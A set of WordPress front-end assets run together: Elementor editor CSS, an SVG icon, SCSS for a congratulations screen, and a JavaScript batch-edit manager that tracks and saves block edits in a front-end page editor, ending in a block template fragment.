/*! elementor-pro - v3.7.7 - 20-09-2022 */
.elementor-document-handle {
  display: none;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  position: absolute;
  z-index: 2147483640;
  top: 0;
  left: 50%;
  -webkit-transform: translateX(-50%);
      -ms-transform: translateX(-50%);
          transform: translateX(-50%);
  background-color: #fcb92c;
  padding: 5px 10px;
  font-family: Roboto, Arial, Helvetica, Verdana, sans-serif;
  font-size: 11px;
  color: #fff;
  border-radius: 0 0 3px 3px;
  cursor: pointer;
}
.elementor-document-handle:before, .elementor-document-handle:after {
  content: "";
  position: absolute;
  border: solid transparent;
}
.elementor-document-handle:before {
  right: calc(100% - 1px);
  border-right-color: #fcb92c;
  border-width: 0 14px 23px 0;
}
.elementor-document-handle:after {
  left: calc(100% - 1px);
  border-left-color: #fcb92c;
  border-width: 0 0 23px 14px;
}
.elementor-document-handle .eicon-edit {
  margin-left: 5px;
}

.elementor-editor-active .elementor {
  position: relative;
}
.elementor-editor-active .elementor:not(.elementor-edit-mode):hover {
  -webkit-box-shadow: 0 0 0 1px #fcb92c;
          box-shadow: 0 0 0 1px #fcb92c;
}
.elementor-editor-active .elementor:not(.elementor-edit-mode):hover .elementor-document-handle {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  line-height: initial;
}
.elementor-editor-active .elementor.loading {
  opacity: 0.5;
}
.elementor-editor-active .elementor[data-elementor-type=single] > .elementor-document-handle {
  -webkit-transform: translateX(-50%) translateY(-100%);
      -ms-transform: translateX(-50%) translateY(-100%);
          transform: translateX(-50%) translateY(-100%);
  border-radius: 3px 3px 0 0;
}
.elementor-editor-active .elementor[data-elementor-type=single] > .elementor-document-handle:before {
  border-width: 23px 14px 0 0;
}
.elementor-editor-active .elementor[data-elementor-type=single] > .elementor-document-handle:after {
  border-width: 23px 0 0 14px;
}

.elementor-embedded-editor.elementor-location-header .elementor-section-wrap:not(:empty) + #elementor-add-new-section {
  display: none;
}
/*# sourceMappingURL=preview-rtl.css.map */<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M21.5344 33.3948L18.2843 31.2326C16.7098 30.1878 14.5902 30.5502 13.4557 32.058C12.8723 32.8331 12.9268 33.9121 13.5829 34.6268L21.7524 43.5149C22.901 44.7631 24.52 45.4737 26.2176 45.4737H29.609C34.0682 45.4737 37.6836 41.8681 37.6836 37.4211V29.3684C37.6836 28.2572 36.7792 27.3553 35.6649 27.3553C34.5506 27.3553 33.6463 28.2572 33.6463 29.3684V30.375V27.3553C33.6463 26.244 32.7419 25.3421 31.6276 25.3421C30.5133 25.3421 29.609 26.244 29.609 27.3553V30.375V25.3421C29.609 24.2309 28.7046 23.329 27.5903 23.329C26.476 23.329 25.5717 24.2309 25.5717 25.3421V30.375V19.3026C25.5717 18.1914 24.6673 17.2895 23.553 17.2895C22.4387 17.2895 21.5344 18.1914 21.5344 19.3026V33.3948" stroke="#9DA5AE" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M29.0098 18.8842C29.0098 15.919 26.5594 13.5158 23.5361 13.5158C20.5128 13.5158 18.0624 15.919 18.0624 18.8842" stroke="#E879F9" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M23.8945 2.52631V6.55262" stroke="#9DA5AE" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M11.6836 18.6316H7.57833" stroke="#9DA5AE" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M36.3166 18.6316H40.4219" stroke="#9DA5AE" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M14.4219 10.579L11.685 6.55264" stroke="#9DA5AE" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M33.5796 10.579L36.3164 6.55264" stroke="#9DA5AE" stroke-width="1.64211" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
.congrats-screen {
    width: 770px;
    margin: 0 auto;

    h1 {
        grid-gap: 10px;
    }

    .middle-content {
        top: 50%;
    }

    .video-showcase {
        position: relative;
    }

    .youtube-btn {
        cursor: pointer;
    }
    .click-btn-text {
        position: absolute;
        left: 13em;
        top: 2.6em;
    }

    .tweet-import-success {
        margin-top: 30px;
        padding: 33px;
        background: var(--st-background-light);
        border: 1px solid var(--st-border-color);
        text-align: left;
        border-radius: var(--st-border-radius-4);

        .twitter-btn-wrap {
            display: flex;
            align-items: center;
            align-content: center;
            justify-content: flex-end;
            grid-gap: 5px;
            text-decoration: none;
            margin-top: 10px;
        }
        .tweet-btn {
            font-weight: var(--st-font-weight-bold);
            font-size: var(--st-font-size-xs);
            color: var(--st-color-accent);
        }
    }

    .view-website-btn {
        margin: 0 auto 40px;
        font-size: 12px;
        line-height: 16px;
        padding: 10px 20px;
    }

    p.screen-description {
        margin: 20px auto 25px;
    }
}/**
 * Batch edit manager - shared batch session orchestration
 *
 * Reads (via globals):
 *   SFE.Context
 *   SFE.Api                 - .apiCall
 *   SFE.BlockSerializer     - .buildBlockPayload
 *   SFE.BlockComparison     - .blocksAreEquivalent, .normalizeRaw
 *   SFE.ElementPrep         - .getContent
 *   SFE.ElementState        - .ElementState
 *   SFE.ElementUpdater      - .applyNewHTML, .rebindElement
 *   SFE.CommentManager      - .buildCommentForm
 *   SFE.SaveHelpers         - .setButtonLoading, .clearButtonLoading,
 *                             .lockSaveUI, .unlockSaveUI,
 *                             .createSuccessElement,
 *                             .handleRevisionConflict,
 *                             .updatePageRevisionToken
 *   SFE.TIMING
 *   SFE.closeInPlaceEditor
 *   SFE.SaveManager         - .showInlineSuccess
 *   SFE.PostLockManager     - .ensureLock
 *   SFE.ManagerData         - .postId, .permissions
 *
 * Exposes: SFE.BatchEditManager (singleton)
 *   { isEnabled, isSessionActive, ensureSession, getBlockStateForUuid,
 *     startOrSwitchEditing, captureActiveEditor, onEditorClose, handleBatchSave,
 *     startInlineCommenting }
 */

(function() {
	'use strict';

	window.MWP      = window.MWP || {};
	window.MWP.SFE  = window.MWP.SFE || {};
	const SFE       = window.MWP.SFE;
	SFE.ManagerData = SFE.ManagerData || {};

	function getManagerData() {
		return SFE.ManagerData || {};
	}

	function buildPendingInfoFromEntry(entry) {
		if (!entry || typeof entry !== 'object') return null;

		const pendingInfo = {};
		const version = Number(entry.version);
		const timestamp = Number(entry.timestamp);

		if (Number.isFinite(version) && version > 0) {
			pendingInfo.version = version;
		}
		if (typeof entry.user_name === 'string' && entry.user_name.trim()) {
			pendingInfo.user = entry.user_name.trim();
		}
		if (Number.isFinite(timestamp) && timestamp > 0) {
			pendingInfo.date = new Date(timestamp * 1000).toLocaleString();
		}

		return Object.keys(pendingInfo).length ? pendingInfo : null;
	}

	class BatchEditManager {
		constructor() {
			this.sessionActive         = false;
			this.sessionLoadingPromise = null;
			this._sessionFailed        = false;
			this.lastCaptureError      = null;

			this.baseBlockStates    = new Map(); // uuid -> block state snapshot at session start
			this.currentBlockStates = new Map(); // uuid -> latest block state (edited)
			this.dirtyBlocks        = new Map(); // uuid -> dirty payload entry
		}

		_cloneBlockState(state) {
			if (!state) return null;
			try {
				return JSON.parse(JSON.stringify(state));
			} catch (error) {
				return { ...state };
			}
		}

		_cloneDirtyEntry(entry) {
			return entry ? { ...entry } : null;
		}

		_prepareRenderedHTMLSnapshot(uuid, html) {
			if (typeof html !== 'string') return '';
			const trimmed = html.trim();
			if (!trimmed) return '';

			const temp = document.createElement('div');
			temp.innerHTML = trimmed;
			const root = temp.firstElementChild;
			if (!root) return '';

			if (uuid && !root.dataset.mwpSfeUuid) {
				root.dataset.mwpSfeUuid = uuid;
			}
			root.dataset.mwpSfeBound = '1';

			return root.outerHTML;
		}

		_getRenderedSnapshotFromEditor(editorState, rawContent = '') {
			if (!editorState?.element) return '';

			const ElementPrep = SFE.ElementPrep || null;
			if (!ElementPrep || typeof ElementPrep.getCleanHTML !== 'function') {
				return '';
			}

			let snapshotElement = editorState.element;
			const schemaRuntime = SFE.SchemaRuntime || null;
			if (
				schemaRuntime &&
				typeof schemaRuntime.reconcileRenderedSnapshot === 'function'
			) {
				snapshotElement = editorState.element.cloneNode(true);
				schemaRuntime.reconcileRenderedSnapshot(snapshotElement, editorState.handler, {
					rawContent,
				});
			}

			return this._prepareRenderedHTMLSnapshot(
				editorState.uuid,
				ElementPrep.getCleanHTML(snapshotElement, true)
			);
		}

		_captureEditorOpenBaseline(editorState) {
			if (!editorState || !editorState.uuid || editorState._batchBaselineCaptured) {
				return false;
			}

			const currentState = this.currentBlockStates.get(editorState.uuid);
			if (!currentState) return false;

			editorState._batchCommittedStateAtOpen = this._cloneBlockState(currentState);
			editorState._batchDirtyEntryAtOpen = this.dirtyBlocks.has(editorState.uuid)
				? this._cloneDirtyEntry(this.dirtyBlocks.get(editorState.uuid))
				: null;
			editorState._batchBaselineCaptured = true;

			// Preserve the HTML snapshot captured at editor entry for this specific
			// edit session. If the batch tree resolves asynchronously after the editor
			// opens, replacing originalOuterHTML here would make first-cancel restore
			// from a different source than later cancels.
			if (!editorState.originalOuterHTML && currentState.renderedHTML) {
				editorState.originalOuterHTML = currentState.renderedHTML;
			}
			if (!editorState.originalRestoreOuterHTML && currentState.renderedHTML) {
				editorState.originalRestoreOuterHTML = currentState.renderedHTML;
			}

			return true;
		}

		/**
		 * Lazily evaluate whether batch editing is enabled.
		 *
		 * Do NOT cache this at construction time - BatchEditManager.js is a
		 * dependency of mwp-sfe-frontend, so its IIFE runs before frontend.js.
		 * SFE.ManagerData is injected before this dependency chain,
		 * so it is available when these methods are called (not at construction).
		 */
		isEnabled() {
			if (this._sessionFailed) return false;
			const data    = getManagerData();
			const perms   = data.permissions || {};
			return !!perms.can_batch;
		}

		isSessionActive() {
			return this.sessionActive;
		}

		async ensureSession() {
			if (!this.isEnabled()) return false;
			if (this.sessionActive) return true;
			if (this.sessionLoadingPromise) return this.sessionLoadingPromise;

			const { apiCall } = SFE.Api;
			const ctx         = SFE.Context;
			const postId      = getManagerData().postId;

			this.sessionLoadingPromise = (async () => {
				try {
					const data     = await apiCall('/get-page-block-tree', { post_id: postId });
					const elements = data.elements || {};

					this.baseBlockStates.clear();
					this.currentBlockStates.clear();
					this.dirtyBlocks.clear();

					Object.entries(elements).forEach(([uuid, state]) => {
						const normalized = this._normalizeBlockState(uuid, state);
						this.baseBlockStates.set(uuid, normalized);
						this.currentBlockStates.set(uuid, { ...normalized });
					});

					// Do NOT call updatePageRevisionToken here. The page-load token
					// set in localize_data is the authoritative baseline for conflict
					// detection on this session. Overwriting it with the server's
					// current token at session-start time would silently mask any
					// backend save that happened between page load and the first editor
					// click, defeating the entire purpose of the revision token.

					this.sessionActive = true;
					document.body.classList.add('mwp-sfe-batch-session-active');
					return true;
				} catch (error) {
					console.warn('FrontEdit: Failed to initialize batch session, falling back to single mode.', error);
					this._sessionFailed = true;
					this.sessionActive  = false;
					document.body.classList.remove('mwp-sfe-batch-session-active');
					return false;
				} finally {
					this.sessionLoadingPromise = null;
				}
			})();

			return this.sessionLoadingPromise;
		}

		_normalizeBlockState(uuid, state) {
			const normalized = {
				uuid,
				attrs: state?.attrs || {},
				blockName: state?.blockName || '',
				innerHTML: state?.innerHTML || '',
				innerBlocks: state?.innerBlocks || [],
				innerContent: state?.innerContent || [],
				html: state?.html || '',
				renderedHTML: this._prepareRenderedHTMLSnapshot(uuid, state?.renderedHTML || state?.html || ''),
				rawContent: state?.rawContent || ''
			};

			if (!normalized.rawContent && state?.serialized) {
				normalized.rawContent = state.serialized;
			}

			return normalized;
		}

		getBlockStateForUuid(uuid) {
			const state = this.currentBlockStates.get(uuid);
			if (!state) return null;
			return this._cloneBlockState(state);
		}

		registerEditor(editorState) {
			if (!editorState || !editorState.element) return;
			this._captureEditorOpenBaseline(editorState);

			// Debounced capture keeps dirty map in sync without waiting for blur.
			const debouncedCapture = this._debounce(() => {
				this.captureEditorState(editorState, 'input');
			}, 1000);

			editorState._batchInputCapture = debouncedCapture;
			editorState._batchInputCaptureElement = editorState.element;
			editorState.element.addEventListener('input', debouncedCapture);
		}

		unregisterEditor(editorState) {
			if (!editorState) return;
			if (editorState._batchInputCapture) {
				const captureElement = editorState._batchInputCaptureElement || editorState.element || null;
				if (captureElement && typeof captureElement.removeEventListener === 'function') {
					captureElement.removeEventListener('input', editorState._batchInputCapture);
				}
				if (typeof editorState._batchInputCapture.cancel === 'function') {
					editorState._batchInputCapture.cancel();
				}
				delete editorState._batchInputCapture;
			}
			delete editorState._batchInputCaptureElement;
		}

		canCloseEditor(editorState, restoreOriginal = false, closeReason = 'close') {
			if (!this.sessionActive || !editorState || !editorState.uuid) return true;
			if (restoreOriginal) return true;

			this.lastCaptureError = null;
			this.captureEditorState(editorState, closeReason);
			if (!this.lastCaptureError) {
				editorState._batchCloseCaptureReason = closeReason;
				return true;
			}

			let message = this.lastCaptureError.message || 'This change cannot be saved.';
			const needsRestoreHint = (
				/cannot be empty|cannot be saved empty/i.test(message) &&
				!/add some text or cancel to restore original/i.test(message)
			);
			if (needsRestoreHint) {
				message += ' Add some text or cancel to restore original.';
			}

			alert(message);
			return false;
		}

		onEditorClose(editorState, restoreOriginal) {
			if (!this.sessionActive || !editorState || !editorState.uuid) return;
			const uuid = editorState.uuid;

			if (restoreOriginal) {
				if (editorState._batchCommittedStateAtOpen) {
					this.currentBlockStates.set(
						uuid,
						this._cloneBlockState(editorState._batchCommittedStateAtOpen)
					);
				}

				if (editorState._batchDirtyEntryAtOpen) {
					this.dirtyBlocks.set(
						uuid,
						this._cloneDirtyEntry(editorState._batchDirtyEntryAtOpen)
					);
				} else {
					this.dirtyBlocks.delete(uuid);
				}
			} else {
				if (!editorState._batchCloseCaptureReason) {
					this.captureEditorState(editorState, 'close');
				}
			}

			this.unregisterEditor(editorState);
			delete editorState._batchCloseCaptureReason;
			delete editorState._batchCommittedStateAtOpen;
			delete editorState._batchDirtyEntryAtOpen;
			delete editorState._batchBaselineCaptured;
		}

		_debounce(fn, wait) {
			let timeoutId = null;
			const debounced = function() {
				clearTimeout(timeoutId);
				timeoutId = setTimeout(fn, wait);
			};
			debounced.cancel = function() {
				if (timeoutId) {
					clearTimeout(timeoutId);
					timeoutId = null;
				}
			};
			return debounced;
		}

		captureActiveEditor(reason = 'manual') {
			const ctx = SFE.Context;
			if (!ctx.activeEditor) return null;
			return this.captureEditorState(ctx.activeEditor, reason);
		}

		captureEditorState(editorState, reason = 'manual') {
			if (!this.sessionActive || !editorState || !editorState.uuid) return null;

			const { buildBlockPayload }   = SFE.BlockSerializer;
			const { blocksAreEquivalent } = SFE.BlockComparison;

			let payload;
			try {
				payload = buildBlockPayload(editorState.element, editorState);
			} catch (error) {
				this.lastCaptureError = error;
				return null;
			}

			if (!payload || !payload.rawContent) return null;

			this.lastCaptureError = null;

			const uuid        = editorState.uuid;
			const beforeState = this.baseBlockStates.get(uuid);
			const beforeRaw   = beforeState?.rawContent || editorState.blockState?.rawContent || '';
			const afterRaw    = payload.rawContent;
			const renderedHTML = this._getRenderedSnapshotFromEditor(editorState, afterRaw);

			const edit_content = JSON.stringify(payload);

			// Keep cached block state current for subsequent editor openings.
			this._hydrateCurrentStateFromRaw(uuid, afterRaw, renderedHTML);

			// Fast path: exact match.  Slow path: full-tree UUID-attr normalization.
			// Mirrors the PHP rest_apply_batch() comparison strategy so the client
			// pre-filters no-op edits before they reach the server.
			if (beforeRaw && blocksAreEquivalent(beforeRaw, afterRaw)) {
				this.dirtyBlocks.delete(uuid);
				return null;
			}

			const entry = {
				element_uuid: uuid,
				handler_id:   editorState.handler?.id || '',
				blockName:    editorState.blockName || editorState.blockState?.blockName || '',
				before:       beforeRaw,
				after:        afterRaw,
				edit_content,
				changedAt:    Date.now()
			};

			this.dirtyBlocks.set(uuid, entry);
			return entry;
		}

		_hydrateCurrentStateFromRaw(uuid, rawContent, renderedHTML = '') {
			if (!rawContent || !window.wp?.blocks?.parse) return;
			const existingState = this.currentBlockStates.get(uuid) || this.baseBlockStates.get(uuid) || null;
			const preparedRenderedHTML = this._prepareRenderedHTMLSnapshot(
				uuid,
				renderedHTML || existingState?.renderedHTML || existingState?.html || ''
			);
			try {
				const parsed = window.wp.blocks.parse(rawContent);
				const block  = parsed && parsed[0];
				if (!block) return;

				// Recursively map JS block format to PHP block format
				const mapToPhpBlock = (jsBlock) => {
					if (!jsBlock) return null;
					return {
						blockName:    jsBlock.name || '',
						attrs:        jsBlock.attributes || {},
						innerHTML:    jsBlock.originalContent || '',
						innerBlocks:  (jsBlock.innerBlocks || []).map(mapToPhpBlock),
						innerContent: jsBlock.innerContent || []
					};
				};

				const phpBlock = mapToPhpBlock(block);

				this.currentBlockStates.set(uuid, {
					uuid,
					attrs: phpBlock.attrs || {},
					blockName: phpBlock.blockName || '',
					innerHTML: phpBlock.innerHTML || '',
					innerBlocks: phpBlock.innerBlocks || [],
					innerContent: phpBlock.innerContent || [],
					html: block.originalContent || existingState?.html || '',
					renderedHTML: preparedRenderedHTML,
					rawContent
				});
			} catch (e) {
				if (!existingState) return;
				this.currentBlockStates.set(uuid, {
					...this._cloneBlockState(existingState),
					rawContent,
					renderedHTML: preparedRenderedHTML || existingState.renderedHTML || ''
				});
			}
		}

		/**
		 * Reset tracked dirty state for one or more UUIDs back to the current
		 * batch-session baseline.
		 *
		 * @param {string[]} uuids Target UUIDs.
		 * @returns {boolean} Whether any tracked state changed.
		 */
		resetDirtyBlocks(uuids) {
			if (!this.sessionActive || !Array.isArray(uuids) || !uuids.length) {
				return false;
			}

			let changed = false;

			uuids.forEach(uuid => {
				const normalizedUuid = String(uuid || '').trim();
				if (!normalizedUuid) {
					return;
				}

				if (this.dirtyBlocks.has(normalizedUuid)) {
					this.dirtyBlocks.delete(normalizedUuid);
					changed = true;
				}

				if (this.baseBlockStates.has(normalizedUuid)) {
					this.currentBlockStates.set(
						normalizedUuid,
						this._cloneBlockState(this.baseBlockStates.get(normalizedUuid))
					);
					changed = true;
				}
			});

			return changed;
		}

		async startOrSwitchEditing(config) {
			const {
				element,
				handler,
				uuid,
				clickEvent,
				openEditorInternal,
				openOptions
			} = config;

			if (!this.isEnabled() || !handler || handler.capability !== 'edit') {
				return openEditorInternal(element, handler, uuid, clickEvent, false, 'edit', 'single', null, openOptions || null);
			}

			const ctx = SFE.Context;

			// If the same block is already open, do nothing.
			if (ctx.activeEditor && ctx.activeEditor.uuid === uuid) {
				return ctx.activeEditor;
			}

			// Close any other active editor before opening the new one.
			if (ctx.activeEditor) {
				const didClose = SFE.closeInPlaceEditor(
					ctx.activeEditor,
					false,
					{ closeReason: 'switch' }
				);
				if (didClose === false) {
					return ctx.activeEditor;
				}
			}

			// Open the editor immediately - don't block on the block-tree fetch.
			// The editor is fully usable without it; block state is applied
			// asynchronously once the session resolves in the background.
			const state = await openEditorInternal(element, handler, uuid, clickEvent, true, 'edit', 'batch', null, openOptions || null);

			if (state) {
				this.registerEditor(state);
				// Notify dock that an editor has been opened (enables dock behavior
				// from this point forward in the session).
				SFE.ActionBarDock?.notifyEditorOpened?.();
			}

			return state;
		}

		/**
		 * Show the action bar in a loading/disabled state before the block tree session
		 * is established.  Uses direct class manipulation to avoid triggering
		 * ElementState.markActive's "disable other elements" logic (session isn't active yet).
		 */
		_showSessionLoadingState(element, uuid) {
			const ctx                          = SFE.Context;
			const actionBar                    = ctx.actionBar;
			const overlayManager               = SFE.OverlayManager;
			const { positionFloatingElements } = SFE.PositionManager;

			if (!actionBar) return;

			// Add active CSS classes directly - bypassing ElementState.markActive so we
			// don't disable other elements before the batch session is confirmed.
			element.classList.add('mwp-sfe-element-active', 'mwp-sfe-editing-active');
			if (overlayManager) {
				overlayManager.hideHover();
				overlayManager.showActive(element, 'editing');
			}

			const allHandlers       = element._mwpSfeHandlers || [];
			const bar               = actionBar.getOrCreate();
			actionBar.activeElement = element;
			bar._targetElement      = element;

			actionBar.updateState({
				bar,
				element,
				state:   'edit',
				content: SFE.Context.buttonManager.getEditButtons()
			});

			// Immediately disable the save button with loading spinner.
			const primaryBtn = bar.querySelector('.mwp-sfe-btn-primary-inline');
			if (primaryBtn) {
				SFE.SaveHelpers.setButtonLoading(primaryBtn);
			}

			positionFloatingElements(element, null, bar);
		}

		/** Undo the pre-session loading state when session init fails. */
		_clearSessionLoadingState(element) {
			const ctx            = SFE.Context;
			const overlayManager = SFE.OverlayManager;
			element.classList.remove('mwp-sfe-element-active', 'mwp-sfe-editing-active');
			if (overlayManager) overlayManager.hideActive();
			if (ctx.actionBar)  ctx.actionBar.hide();
		}

		/**
		 * Reset the internal session state so the next editor click starts a fresh session.
		 * Called after a successful batch save to ensure baseBlockStates reflects the new
		 * saved content on the next /get-page-block-tree fetch.
		 */
		_resetSession() {
			this.sessionActive         = false;
			this.sessionLoadingPromise = null;
			this.dirtyBlocks.clear();
			this.baseBlockStates.clear();
			this.currentBlockStates.clear();
			document.body.classList.remove('mwp-sfe-batch-session-active');
			// Notify dock that the session has been fully reset so it can
			// disable dock behavior and clean up any docked state.
			SFE.ActionBarDock?.notifySessionReset?.();
		}

		async handleBatchSave(triggerButton = null) {
			if (!this.sessionActive) return;

			const ctx                   = SFE.Context;
			const { apiCall, ensureResolvedMediaAttributes } = SFE.Api;
			const {
				setButtonLoading,
				clearButtonLoading,
				lockSaveUI,
				unlockSaveUI,
				createSuccessElement,
				handleRevisionConflict,
				updatePageRevisionToken,
				fetchRenderedHTMLMap,
				reloadPageWithGuardBypass
			}                            = SFE.SaveHelpers;
			const { applyNewHTML,
				rebindElement }          = SFE.ElementUpdater;
			const { ElementState }       = SFE.ElementState;
			const TIMING                 = SFE.TIMING;
			const data                   = getManagerData();
			const postId                 = data.postId;
			const perms                  = data.permissions || {};
			let shouldReloadAfterSuccess = false;

			this.lastCaptureError = null;

			if (ctx.activeEditor && typeof ensureResolvedMediaAttributes === 'function') {
				try {
					await ensureResolvedMediaAttributes(ctx.activeEditor);
				} catch (error) {
					console.warn('FrontEdit: media resolution failed before batch save', error);
				}
			}

			this.captureActiveEditor('save');

			if (this.lastCaptureError) {
				alert(this.lastCaptureError.message || 'Error saving changes.');
				return;
			}

			if (this.dirtyBlocks.size === 0) {
				alert('No changes to save.');
				return;
			}

			const changes = Array.from(this.dirtyBlocks.values()).map(entry => ({
				element_uuid: entry.element_uuid,
				handler_id:   entry.handler_id,
				edit_content: entry.edit_content
			}));

			const restoreBtn = () => {
				if (triggerButton) unlockSaveUI(triggerButton);
			};

			if (triggerButton) {
				lockSaveUI(triggerButton);
			}

			if (perms.can_publish && !await SFE.PostLockManager.ensureLock()) {
				restoreBtn();
				return;
			}

			/**
			 * Fetch fresh server HTML for all UUIDs in one request so the server can
			 * render the page once and extract every updated block in a single DOM pass.
			 *
			 * Returns a uuid → html map.
			 */
			const fetchHTMLMap = async (uuids) => {
				try {
					return await fetchRenderedHTMLMap(uuids, { force: true });
				} catch (err) {
					console.warn(`FrontEdit: Failed to fetch updated HTML after batch save`, {
						requested: uuids,
						error:     err?.message || err
					});
					return {};
				}
			};

			/**
			 * Route the success path through showInlineSuccess - the same pipeline used
			 * by single-element saves - so locking, banner timing, re-enable, and rebinding
			 * all behave identically regardless of edit mode.
			 *
			 * The active editor's element is the primary element handled by showInlineSuccess.
			 * Every other dirty block is passed as additionalElements so showInlineSuccess
			 * updates and re-locks them for the duration of the success banner.
			 *
			 * @param {string[]} savedUuids  UUIDs included in the batch.
			 * @param {boolean}  isDraft     True for draft submission, false for publish.
			 */
			const finishBatchSave = async (savedUuids, isDraft, draftEntriesByUuid = null) => {
				const activeEditor = ctx.activeEditor;
				const uuidMap      = ctx.uuidMap;
				const primaryUuid  = activeEditor?.uuid || null;

				if (typeof SFE.destroyPersistedBlockEditSessions === 'function') {
					SFE.destroyPersistedBlockEditSessions(savedUuids);
				}

				// For publish: fetch new server HTML for all saved elements.
				// For draft:   fetch current published HTML so each element is restored
				//              to its pre-edit state while the draft awaits review
				//              (same intent as showInlineSuccess using originalOuterHTML
				//              for the active element in the single-element draft path).
				const htmlMap = await fetchHTMLMap(savedUuids);
				const missingHtml = savedUuids.filter(uuid => !htmlMap[uuid]);
				if (missingHtml.length) {
					if (SFE.SaveHelpers && typeof SFE.SaveHelpers.reloadAfterRefreshFailure === 'function') {
						SFE.SaveHelpers.reloadAfterRefreshFailure(
							`FrontEdit: Batch save succeeded but refreshed HTML was unavailable for: ${missingHtml.join(', ')}`
						);
						return;
					}
					window.location.reload();
					return;
				}

				// Mirror handleInlineSave's pre-showInlineSuccess pending-state update for drafts.
				if (isDraft) {
					savedUuids.forEach(uuid => {
						if (!uuidMap[uuid]) return;
						uuidMap[uuid].is_pending = true;
						const pendingInfo = buildPendingInfoFromEntry(draftEntriesByUuid?.[uuid] || null);
						if (pendingInfo) {
							uuidMap[uuid].pending_info = pendingInfo;
						}
					});
				}

				this._resetSession();
				restoreBtn();

				// Dirty blocks other than the active editor's element. showInlineSuccess
				// handles the active editor's element through its normal single-element path;
				// the rest are passed as additionalElements for the same lock + swap + rebind.
				const additionalElements = savedUuids
					.filter(uuid => uuid !== primaryUuid)
					.map(uuid => {
						const el = document.querySelector(`[data-mwp-sfe-uuid="${uuid}"]`);
						return (el && htmlMap[uuid]) ? { element: el, uuid, html: htmlMap[uuid] } : null;
					})
					.filter(Boolean);

				if (activeEditor) {
					// Main path: delegate entirely to showInlineSuccess so both single-element
					// and batch saves share identical locking, banner, re-enable, and rebind logic.
					// isDraft=true causes showInlineSuccess to use originalOuterHTML for the
					// primary element - no newHTML needed for it on the draft path.
					SFE.SaveManager.showInlineSuccess(
						activeEditor,
						isDraft ? 'Draft Submitted' : 'Changes Saved',
						isDraft ? null : (htmlMap[primaryUuid] || null),
						isDraft,
						isDraft ? 'warning' : 'success',
						{
							additionalElements,
							reloadAfterSuccess: shouldReloadAfterSuccess
						}
					);
				} else {
					// Edge case: Save All triggered from the dock with no editor open.
					// No editor cleanup needed - apply elements directly and re-enable.
					for (const item of additionalElements) {
						applyNewHTML(item.element, item.uuid, item.html);
					}
					if (isDraft) {
						savedUuids.forEach(uuid => {
							if (uuidMap[uuid]) uuidMap[uuid].is_pending = true;
							const el = document.querySelector(`[data-mwp-sfe-uuid="${uuid}"]`);
							if (el) el.classList.add('mwp-sfe-status-pending');
						});
					}
					const successDiv = createSuccessElement(
						isDraft ? 'Draft Submitted' : 'Changes Saved',
						isDraft ? 'warning' : 'success'
					);
					document.body.appendChild(successDiv);
					successDiv.offsetHeight;
					successDiv.style.transition = '';
					setTimeout(() => {
						successDiv.style.opacity = '0';
						setTimeout(() => {
							successDiv.remove();
							ElementState.enableAllElements();
							for (const uuid of savedUuids) {
								const el = document.querySelector(`[data-mwp-sfe-uuid="${uuid}"]`);
								if (el) rebindElement(el);
							}
							if (shouldReloadAfterSuccess && typeof reloadPageWithGuardBypass === 'function') {
								reloadPageWithGuardBypass();
							}
						}, TIMING.SUCCESS_FADE);
					}, TIMING.SUCCESS_DISPLAY);
				}
			};

			try {
				if (perms.can_publish) {
					const result = await apiCall('/apply-batch', {
						post_id:             postId,
						changes,
						page_revision_token: ctx.pageRevisionToken
					});
					updatePageRevisionToken(result);

					const savedUuids = Array.from(this.dirtyBlocks.keys());
					this.dirtyBlocks.clear();

					await finishBatchSave(savedUuids, false);

				} else if (perms.can_draft) {
					const submitResult = await apiCall('/pro/submit-draft-batch', {
						post_id: postId,
						changes
					});

					const draftedUuids = Array.from(this.dirtyBlocks.keys());
					const draftEntriesByUuid = {};
					if (Array.isArray(submitResult?.entries)) {
						submitResult.entries.forEach(item => {
							if (!item || !item.element_uuid || !item.entry) return;
							draftEntriesByUuid[item.element_uuid] = item.entry;
						});
					}
					this.dirtyBlocks.clear();

					await finishBatchSave(draftedUuids, true, draftEntriesByUuid);
				}
			} catch (error) {
				if (error.message === 'POST_LOCKED') {
					await SFE.PostLockManager?.handleLockedError(error);
					restoreBtn();
					return;
				}
				if (error.message === 'REVISION_CONFLICT') {
					const shouldRetry = await handleRevisionConflict(restoreBtn);
					if (!shouldRetry) return;
					shouldReloadAfterSuccess = true;

					try {
						// Retry without token - server skips conflict check when token is absent.
						const retryResult = await apiCall('/apply-batch', {
							post_id: postId,
							changes
							// No token - force save
						});
						updatePageRevisionToken(retryResult);

						const savedUuids = Array.from(this.dirtyBlocks.keys());
						this.dirtyBlocks.clear();

						await finishBatchSave(savedUuids, false);
						return;
					} catch (retryError) {
						alert('Error: ' + retryError.message);
						restoreBtn();
						return;
					}
				}

				alert('Error: ' + error.message);
				restoreBtn();
			}
		}

		startInlineCommenting(bar, element, handlers, uuid) {
			const actionBar = SFE.Context.actionBar;

			actionBar.updateState({
				bar,
				element,
				handlers,
				uuid,
				state: 'comment',
				content: {
					// Delegate form construction to CommentManager so the markup and
					// submit logic live in one place, shared with the standard flow.
					customBuilder: () => SFE.CommentManager.buildCommentForm(
						element,
						handlers,
						uuid,
						() => actionBar.show(element, handlers, uuid)
					)
				}
			});
		}
	}

	SFE.BatchEditManager = new BatchEditManager();

})();
<!-- wp:group {"align":"full","layout":{"type":"default"}} -->
<div class="wp-block-group alignfull">
	<!-- wp:group {"layout":{"type":"constrained"}} -->
	<div class="wp-block-group">
		<!-- wp:group {"align":"wide","style":{"spacing":{"padding":{"top":"var:preset|spacing|30","bottom":"var:preset|spacing|30"}}},"layout":{"type":"flex","flexWrap":"nowrap","justifyContent":"space-between"}} -->
		<div class="wp-block-group alignwide" style="padding-top:var(--wp--preset--spacing--30);padding-bottom:var(--wp--preset--spacing--30)">
			<!-- wp:site-title {"level":0} /-->
